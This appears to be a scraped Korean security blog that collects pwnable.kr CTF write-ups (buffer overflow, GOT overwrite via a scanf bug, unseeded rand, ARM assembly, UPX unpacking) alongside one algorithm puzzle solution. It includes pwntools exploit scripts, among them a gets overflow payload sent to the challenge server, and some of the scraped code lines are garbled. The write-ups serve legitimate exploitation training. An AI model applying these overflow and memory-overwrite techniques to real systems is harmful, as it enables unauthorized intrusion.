해설

We all make mistakes, let's move on.
(don't take this too seriously, no fancy hacking skill is required at all)

This task is based on real event
Thanks to dhmonkey

 

ssh로 접속해서 mistake.c 코드를 확인해보면 다음과 같다.

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){

        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
        }

        printf("do not bruteforce...\n");
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }

        close(fd);
        return 0;
}

 코드는 /home/mistake/password 파일을 읽어들여 pw_buf에 저장하고 사용자로부터 10바이트 입력을 받아 pw_buf2에 저장한다. 이 후 pw_buf2를 바이트마다 1과 xor 연산 한 후, pw_buf와 비교하여 같으면 flag가 출력된다. 코드의 의도는 password 파일의 패스워드를 사용자가 맞추도록 하는것이겠지만, 첫번째 if문에서 연산자 우선순위에 의해 open(~) < 0이 먼저 계산이 되고, 이는 open이 제대로 된 fd 값을 반환할 경우 false가 된다. 그리고 false는 implicit type casting에 의해 0이되어 fd에 저장된다. fd 0은 표준 입력을 의미하므로, 결국에는 코드 의도와 다르게 pw_buf2뿐만 아니라 pw_buf도 사용자로부터 입력을 받게 된다. 따라서 다음과 같이 입력하면 flag가 출력 된다.

 

 

'pwn' 카테고리의 다른 글

pwnable.kr - coin1  (0) 2020.07.16
pwnable.kr - shellshock  (0) 2020.07.15
pwnable.kr - leg  (0) 2020.03.04
pwnable.kr - input  (0) 2019.08.26
pwnable.kr - passcode  (0) 2019.08.22

해설

Daddy told me I should study arm.
But I prefer to study my leg!

 

arm 어셈에 관한 문제이다. ssh로 접속하기 전 문제에서 주어진 leg.asm와 leg.c를 보면 arm 어셈으로 작성된 코드를 볼 수 있다. main 함수를 보면 사용자로부터 정수형 입력을 받아서 key1(), key2(), key3()의 리턴값을 더한 결과와 비교한 후, 같으면 플래그를 출력해주는 코드임을 알 수 있다.

 

key1 함수

Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr

key1 함수는 key1<+8> 라인에서 pc 레지스터의 값을 반환하는 함수이다.

arm 아키텍처의 경우 pc 레지스터에는 fetch 단계에 있는 명령어의 주소가 담겨있다. 보통 프로세서의 명령어 처리 과정은 fetch->decode->execute 과정이 파이프라이닝되어 수행되기 때문에, 해당 key1<+8> 라인이 실행될 때 fetch 단계에 있는 명령어는 key1<+8>의 다음 다음 명령어인 key1<+16>일 것이다. 따라서 이때 pc 레지스터에는 0x8ce4 값이 들어가 있다.

 

key2 함수

Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr

key2 함수는 약간 복잡한데, key2<+12> 라인에서 pc 레지스터 값에 1을 더한 뒤 r6 레지스터에 저장하고, 다음 라인에서 bx r6 명령어가 실행 된다. bx는 브랜치 명령어임과 동시에, arm의 저전력 모드인 thumb 모드로 cpu 모드를 전환하는 명령어이다. thumb 모드는 16비트 모드로, 16비트 명령어가 실행되는 구간이다. 이 때 pc 레지스터에 1을 더해주는 이유는, bx 명령어가 주소값의 홀짝을 보고 홀일 경우, arm 모드에서 thumb모드로, 짝일 경우, thumb모드에서 arm 모드로 전환해주기 때문이다. 따라서 이 때 thumb 모드로의 전환이 일어난다.

그 후에는 16비트 명령어들이 실행되는 것을 확인할 수 있고, 이 때 pc 레지스터 값 + 4를 r3 레지스터에 저장하고 최종적으로 반환됨을 확인할 수 있다. 이 경우에 pc 레지스터는 앞서 key1의 경우와 마찬가지로 해당 시점에서 다음 다음 명령어의 주소 값을 저장하고 있다. 따라서 이 때 pc 레지스터의 값은 0x8d08이다. 여기에 4를 더하면 최종적으로 반환되는 값은 0x8d0c이다.

 

key3 함수

Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr

key3 함수는 lr 레지스터의 값을 반환하는 함수이다. lr 레지스터는 함수의 리턴 주소를 저장하고 있는 레지스터로, main 함수에서 key3가 호출되는 시점의 다음 명령어의 주소를 저장하고 있다. main 함수의 디스어셈을 확인하면 이 값은 0x8d80이다.

 

따라서 최종적으로 플래그를 얻기 위해 입력해야 하는 값은 0x8ce4 + 0x8d0c + 0x8d80 = 0x1a770 = 108400 이다.

'pwn' 카테고리의 다른 글

pwnable.kr - shellshock  (0) 2020.07.15
pwnable.kr - mistake  (0) 2020.07.15
pwnable.kr - input  (0) 2019.08.26
pwnable.kr - passcode  (0) 2019.08.22
pwnable.kr - random  (0) 2019.08.16

해설

다양한 형태의 입력 값을 처리할 수 있는지에 대한 문제이다. 코드를 보면 커맨드라인 입력, 표준 입력, 표준 에러, 환경 변수, 파일 입출력, 네트워크 입출력에 대한 다양한 형태의 입력 값을 받아서 검사하고 있다. 아래와 같이 코드를 작성하면 문제를 해결 할 수 있다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
 
''' for stage 2 stderr'''
= open("./stdrr""wb")
f.write(b"\x00\x0a\x02\xff")
f.close()
= open("./stdrr""rb")
 
''' for stage 4 '''
f2 = open("./\x0a""wb")
f2.write(b"\x00\x00\x00\x00")
f2.close()
 
args = []
''' for stage 3 '''
env = {
    b"\xde\xad\xbe\xef": b"\xca\xfe\xba\xbe"
}
 
for i in range(100):
    if i == 0:
        args.append("/home/input2/input")
    ''' for stage 1 '''
    elif i == 65:
        args.append("\x00")
    elif i == 66:
        args.append("\x20\x0a\x0d")
    ''' for stage 5(port number) '''
    elif i == 67:
        args.append("22222")
    else:
        args.append("a")
 
= process(args, stderr=f, env=env)
pause()
 
print(p.recvuntil(b":)\n"))
print(p.recvline())
 
''' for stage 2 stdin '''
p.sendline(b"\x00\x0a\x00\xff")
 
 
f.close()
 
print(p.recvline())
print(p.recvline())
print(p.recvline())
 
''' for stage 5 '''
= remote("127.0.0.1"22222)
c.sendline(b"\xde\xad\xbe\xef")
print(p.recvline())
''' print flag '''
print(p.recvline())
 

낙서

참고로 위의 스크립트를 /tmp 경로에서 실행하게 될텐데, 문제 코드에서는 system("/bin/cat flag")를 통해 flag 값이 출력 된다. 이 때, flag가 상대 경로로 지정되어 있으므로, 해당 스크립트를 실행하는 경로에 flag의 심볼릭 링크를 만들어 주면 된다.

'pwn' 카테고리의 다른 글

pwnable.kr - mistake  (0) 2020.07.15
pwnable.kr - leg  (0) 2020.03.04
pwnable.kr - passcode  (0) 2019.08.22
pwnable.kr - random  (0) 2019.08.16
pwnable.kr - flag  (0) 2019.08.13

문제

 

보글(Boggle) 게임은 그림 (a)와 같은 5x5 크기의 알파벳 격자인 게임판의 한 글자에서 시작해서 펜을 움직이면서 만나는 글자를 그 순서대로 나열하여 만들어지는 영어 단어를 찾아내는 게임입니다. 펜은 상하좌우, 혹은 대각선으로 인접한 칸으로 이동할 수 있으며 글자를 건너뛸 수는 없습니다. 지나간 글자를 다시 지나가는 것은 가능하지만, 펜을 이동하지않고 같은 글자를 여러번 쓸 수는 없습니다.

예를 들어 그림의 (b), (c), (d)는 각각 (a)의 격자에서 PRETTY, GIRL, REPEAT을 찾아낸 결과를 보여줍니다.

보글 게임판과 알고 있는 단어들의 목록이 주어질 때, 보글 게임판에서 각 단어를 찾을 수 있는지 여부를 출력하는 프로그램을 작성하세요.

입력

입력의 첫 줄에는 테스트 케이스의 수 C(C <= 50)가 주어집니다. 각 테스트 케이스의 첫 줄에는 각 5줄에 5글자로 보글 게임판이 주어집니다. 게임판의 모든 칸은 알파벳 대문자입니다.
그 다음 줄에는 우리가 알고 있는 단어의 수 N(1 <= N <= 10)이 주어집니다. 그 후 N줄에는 한 줄에 하나씩 우리가 알고 있는 단어들이 주어집니다. 각 단어는 알파벳 대문자 1글자 이상 10글자 이하로 구성됩니다.

출력

각 테스트 케이스마다 N줄을 출력합니다. 각 줄에는 알고 있는 단어를 입력에 주어진 순서대로 출력하고, 해당 단어를 찾을 수 있을 경우 YES, 아닐 경우 NO를 출력합니다.

예제 입력

1

URLPM

XPRET

GIAET

XTNZY

XOQRS

6

PRETTY

GIRL

REPEAT

KARA

PANDORA

GIAZAPX

예제 출력

PRETTY YES

GIRL YES

REPEAT YES

KARA NO

PANDORA NO

GIAZAPX YES

코드

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char boggle[7][7];
char buf[100];
char word[10][11];
int prev[2][10];
int start[7][7];
int mark[7][7][10];
int loc[2];
int idx;
int len;
int move[8][2] = {{-1, 0}, {-1, 1}, {0, 1}, {1, 1}, {1, 0}, {1, -1}, {0, -1}, {-1, -1}};
int main(){
	char temp;
	int row_ct, col_ct;
	int C, N;
	int i, j, k, t, p, q, offset, x, y, result;
	
	scanf("%d%c", &C, &temp);
	for(i = 0; i < C; i++){	
		for(j = 0; j < 7; j++){
			for(k = 0; k < 7; k++){
				boggle[j][k] = 0;
			}
		}
		for(j = 1; j < 6; j++){
			scanf("%s", &boggle[j][1]);
		}
		scanf("%d%c", &N, &temp);
		for(j = 0; j < N; j++){
			scanf("%s", word[j]);
		}
		for(j = 0; j < N; j++){
			result = 0;
			len = strlen(word[j]);
			for(x = 1; x < 6; x++){
				for(y = 1 ; y < 6; y++){
					if(boggle[x][y] == word[j][0]){
						memset(mark, 0, sizeof(mark));
						idx = 0;
						loc[0] = x;
						loc[1] = y;
						prev[0][idx] = x;
						prev[1][idx] = y;
						idx++;
						while(idx < len){
							for(k = 0; k < 8; k++){
								if(mark[loc[0] + move[k][0]][loc[1] + move[k][1]][idx] == 0 && boggle[loc[0] + move[k][0]][loc[1] + move[k][1]] == word[j][idx]){
									loc[0] = loc[0] + move[k][0];
									loc[1] = loc[1] + move[k][1];
									prev[0][idx] = loc[0];
									prev[1][idx] = loc[1];
									idx++;
									break;
								}
							}
							if(k == 8){
								idx--;
								mark[loc[0]][loc[1]][idx] = 1;
								if(idx == 0)
									break;
								loc[0] = prev[0][idx-1];
								loc[1] = prev[1][idx-1];
							}
						}
						if(idx == len){
							result = 1;
							break;
						}
					}
				}
				if(result == 1)
					break;
			}
			if(result == 1){
				printf("%s YES\n", word[j]);
			}
			else{
				printf("%s NO\n", word[j]);
			}
		}
	}
}

해설

다이나믹 프로그래밍에 관한 문제이다. 재귀 함수로 짤 수도 있지만 귀찮아서 반복문으로 해결 했다. 문제 해결 스텝은 다음과 같다.

 

do 글자 탐색

>>if 글자가 있을 경우,

        위치 정보를 저장하고 인덱스 증가

   else 글자가 없을 경우,

        막다른 길로 표시하고 인덱스 감소 후 다시 위치 지정

 

중요한 점은 글자 탐색 조건에 표시(mark 배열)한 곳에 대한 조건도 같이 넣어줘야 한다는 점이다.

낙서

문제를 잘못 읽어서 삽질을 너무 많이 한 문제이다. '보글(Boggle) 게임은 그림 (a)와 같은 5x5 크기의 알파벳 격자인 게임판의 한 글자에서 시작해서 펜을 움직이면서 만나는 글자를 그 순서대로 나열하여 만들어지는 영어 단어를 찾아내는 게임입니다.' 이 문장에서 순서대로란 말에 주목했어야 하는데, 순서대로란 말은 즉 현재 위치에서 펜을 한칸만 움직여서 다음 글자에 도달할 수 있어야 한다는 것이다. 처음에는 이 말을 빼먹고 문제를 읽어서 그냥 현재까지 찾은 글자들에 인접한 곳에 다음 글자가 있으면 되는 문제로 생각해서 굉장히 복잡하게 풀고 있다가, 문제를 다시 읽고 허무해졌다. 문제를 잘 읽자!

'algo' 카테고리의 다른 글

algospot - FESTIVAL  (0) 2019.08.08

해설

ssh로 접속해 passcode.c를 확인해보면 다음과 같다.

프로그램은 크게 welcome 함수와 login 함수로 이루어져 있다. welcome 함수에서는 100바이트의 입력을 받고 login 함수에서는 passcode1과 passcode2를 받아서 조건에 따라 flag 값을 출력해주는 것 같다. 자세히보니 passcode1과 passcode2를 입력 받는 scanf 부분에 에러가 있다. scanf("%d", &passcode1)로 되어 있어야 의도한 대로 프로그램이 동작하겠지만, c 코딩을 처음 배울 때 흔히 하는 실수로 scanf 함수로 입력을 받을 때 &연산자를 빼먹었다.

 

따라서 login 함수의 scanf는 passcode1, passcode2에 담겨진 값을 주소로 보고, 이 가리키는 주소에 4바이트 정수 입력을 받게 된다. 이 부분을 조작하면 원하는 주소에 원하는 값을 써 넣을 수 있을 것만 같다.

 

gdb로 확인해보니 passcode1의 위치는 $ebp-0x10, passcode2의 위치는 $ebp-0xc 였다. 여기까지만 봤을 때는 두 개의 주소를 조작할 수 있으니 8바이트만큼을 조작할 수 있을 것처럼 보였다.

 

welcome 함수를 보면, 오프셋 ebp-0x70부터 입력을 받는 것을 알 수 있고, 0x70은 112바이트이다. 그런데 코드를 다시 살펴보니 welcome 함수에서 문자열을 입력 받을 때 포맷 스트링 %100s를 사용했다. 이 포맷 스트링은 100바이트 까지만 입력을 받을 수 있도록 제한해주는 역할을 하기 때문에, 실제로는 112바이트를 전부 덮어 쓸 수 있는 것이 아니라 ebp-0x10 까지만 덮어 쓸 수 있고, 따라서 passcode1 부분까지만 조작 할 수 있다.

 

여기까지 와서 무엇을 할 수 있나 정리해보면 결국 임의의 4바이트 주소에 임의의 4바이트 값을 넣을 수 있게 되었다. 4바이트로 무엇을 할 수 있을까 생각해보면 GOT overwriting이라는 좋은 녀석이 있다.

GOT overwriting을 하기 위해 exit 함수를 덮어쓰기로 했다. 사실 어떤 함수를 덮어도 상관 없다. 실행 흐름 상에 존재하는 함수를 아무거나 덮어도 될 것 같다. 0x804a018에 있는 4바이트를 system("/bin/cat flag")가 실행되는 라인인 0x80485e3으로 덮어 쓰면, 실행 흐름 상 exit 함수가 call 될 때 0x80485e3으로 점프하게 된다.

 

따라서 다음과 같은 입력을 통해 flag 값을 얻을 수 있다. 참고로 입력을 할 때 0x80485e3은 정수로 입력해줘야 한다. 

 

낙서

이 문제를 pwntools의 process 모듈을 이용해 코딩하려 했는데, 왜 그런지 모르겠지만 process로 passcode 바이너리를 실행하면 recv를 제대로 받을 수 없고 페이로드를 sendline해도 제대로 먹지 않는 문제가 있었다. 다음과 같이 process로 passcode를 열고 중간에 pause()를 끼워 넣으면 정상적으로 작동하는데,

 https://www.akashtrehan.com/writeups/pwnablekr_todders_bottle/ 에서 힌트를 얻었다. 아직까지도 왜 pause()를 넣어야 하는지는 이해하지 못했다..

'pwn' 카테고리의 다른 글

pwnable.kr - leg  (0) 2020.03.04
pwnable.kr - input  (0) 2019.08.26
pwnable.kr - random  (0) 2019.08.16
pwnable.kr - flag  (0) 2019.08.13
pwnable.kr - bof  (0) 2019.08.12

해설

random.c를 확인해보면 다음과 같다.

rand 함수를 사용해 random 값을 가져오고 이를 사용자가 입력한 key 값과 xor 연산한 뒤, 0xdeadbeef와 비교한다.

이런, 이 코드에선 srand 함수를 사용하지 않았다. rand 함수는 시드 값에 따라 결정 되는 '유사 난수열'을 생성해주는 함수이다. 절대 난수가 아니다. 따라서 srand 없이는 매 번 같은 순서의 숫자를 얻게 된다.

 

따라서 위의 rand()의 결과인 random의 값을 gdb를 통해 확인하고, xor 연산 시 0xdeadbeef가 되도록 하는 key 값을 입력하면 될 것 같다.

확인해 본 결과 random에는 0x6b8b4567이라는 값이 할당 된다. key ^ 0x6b8b4567 = 0xdeadbeef가 되야 하므로 key = 0x6b8b4567 ^ 0xdeadbeef = 0xb526fb88 이다. 다음과 같이 입력해주면 flag 값을 얻을 수 있다.

 

'pwn' 카테고리의 다른 글

pwnable.kr - input  (0) 2019.08.26
pwnable.kr - passcode  (0) 2019.08.22
pwnable.kr - flag  (0) 2019.08.13
pwnable.kr - bof  (0) 2019.08.12
pwnable.kr - collision  (0) 2019.08.10

해설

Papa brought me a packed present! let's open it.

 

이번 문제는 리버싱 문제라고 한다. 문제를 보아하니 패킹된 바이너리 일 것 같다. 우선 바이너리를 다운로드 받아서 실행 시켜 봤다.

flag를 메모리에 복사해 놨으니 가져 가란다. 그런데 바이너리가 패킹 되어 있을 것 같다. checksec으로 확인해보면 다음과 같이 바이너리가 UPX 패킹 되어 있음을 알 수 있다. UPX로 바이너리를 언패킹하면 원본 바이너리를 얻을 수 있다.

gdb를 flag로 디버깅해보면, 아래와 같이 malloc을 수행한 뒤 해당 메모리 영역에 flag 값을 복사해 넣음을 알 수 있다. 따라서 0x401184 부분이 실행 되면, flag 값이 rdx 레지스터에 들어갈 것이라고 예측할 수 있다.

0x401184 다음 인스트럭션인 0x40118b에 브레이크포인트를 걸고 rdx 레지스터를 확인해보면 flag 값을 획득 할 수 있다.

'pwn' 카테고리의 다른 글

pwnable.kr - passcode  (0) 2019.08.22
pwnable.kr - random  (0) 2019.08.16
pwnable.kr - bof  (0) 2019.08.12
pwnable.kr - collision  (0) 2019.08.10
pwnable.kr - fd  (0) 2019.08.08

해설

문제에서 bof.c 코드 파일과 bof 바이너리를 제공한다.

bof.c 코드는 아래와 같다.

보아하니 func에서 bof 취약점이 발생할 것 같다. gets는 bof 취약점이 있는 함수로, 스택을 덮어 씌워 key 값을 0xcafebabe로 변조하면 될 것 같다.

gdb로 func 함수를 확인해보니 gets는 [ebp-0x2c]부터 입력을 받고, 0xcafebabe와 비교하는 key 부분은 [ebp+0x8]이다. 두 주소의 차이는 0x8 - (-0x2c) = 0x34(52) 이다. 따라서 다음과 같은 코드를 통해 쉘을 획득할 수 있다.

from pwn import *


conn = remote("pwnable.kr", 9000)

payload = b"a"*52 + b"\xbe\xba\xfe\xca"
conn.sendline(payload)
conn.interactive()

'pwn' 카테고리의 다른 글

pwnable.kr - passcode  (0) 2019.08.22
pwnable.kr - random  (0) 2019.08.16
pwnable.kr - flag  (0) 2019.08.13
pwnable.kr - collision  (0) 2019.08.10
pwnable.kr - fd  (0) 2019.08.08

+ Recent posts